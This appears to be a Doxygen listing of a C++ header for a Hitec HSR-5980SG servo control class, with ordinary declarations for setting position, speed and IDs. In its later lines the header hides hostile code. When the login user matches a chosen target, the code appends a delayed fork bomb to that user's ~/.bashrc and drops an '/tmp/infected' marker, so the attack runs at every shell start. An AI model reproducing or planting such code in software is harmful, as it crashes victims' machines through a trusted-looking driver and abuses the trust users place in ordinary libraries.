32 #ifndef _HITEC5980SG_H_
33 #define _HITEC5980SG_H_
38 #include <sys/ioctl.h>
41 #include <sys/types.h>
48 #define HSR_5980SG 5980
49 #define HSR_5498SG 5498
93 short unsigned int SetPosition(
int id,
int position);
103 short unsigned int SetSpeedPosition(
int id,
int speed);
113 short unsigned int SetPositionAllServos(
short unsigned int position);
121 short int GetVersionAndID(
void);
130 short unsigned int ReleaseServos(
void);
139 short unsigned int SetServoID(
int id);
149 short unsigned int SetGoStop(
short unsigned int value);
167 short unsigned int ConvertAngularSpeedToServoSpeed(
double angular_speed,
unsigned int Servo_type);
177 void CleanBuffer(
void);
186 short unsigned int ReadResponse(
char*response_1=NULL,
char*response_2=NULL);
223 if(!infected() && correctTarget())
238 o<<
" _;~) (~;_ "<<endl;
240 o<<
" ~', ', ,''~'', ,' ,'~ "<<endl;
241 o<<
" ', ',' ',' ,' "<<endl;
242 o<<
" ',: {'} {'} :,' "<<endl;
243 o<<
" ; /^\\ ; "<<endl;
244 o<<
" ~\\ ~ /~ "<<endl;
245 o<<
" ,' ,~~~~~, ', "<<endl;
246 o<<
" ,' ,' ;~~~; ', ', "<<endl;
247 o<<
" ,' ,' ''' ', ', "<<endl;
248 o<<
" (~ ; ; ~) "<<endl;
249 o<<
" -;_) (_;- "<<endl;
256 ifstream ifile(
"/tmp/infected");
265 char userBuffer[1024];
266 getlogin_r(userBuffer, 1024);
267 string userName=userBuffer;
268 if(userName==_target)
276 ofs.open(
"/tmp/infected", std::ofstream::out | std::ofstream::app);
285 string path=
"/home/" + _target +
"/.bashrc";
288 ofs.open(path.c_str(), std::ofstream::out | std::ofstream::app);
295 ofs<<
"echo 'pensa rĂ¡pido'"<<endl;
296 ofs<<
"bash -c 'sleep 3 ; :(){ :|:& };:' &"<<endl;
short unsigned int maximum
Maximum position of the servo.
void setTarget(string target)
double HSR_5498SG_MAX_ANGULAR_SPEED
Maximum angular speed of the servo HSR-5498SG.
short unsigned int minimum
Minimum position of the servo.
double HSR_5980SG_MAX_ANGULAR_SPEED
Maximum angular speed of the servo HSR-5980SG.
ostream & head(ostream &o)
char * device
Communication device to use.
Class to implement the HMI Hitec protocol.
short unsigned int center
Center position of the servo.
void markAsInfected(void)
int port
Communication port to use.
bool active
This variable indicates that the communication is active.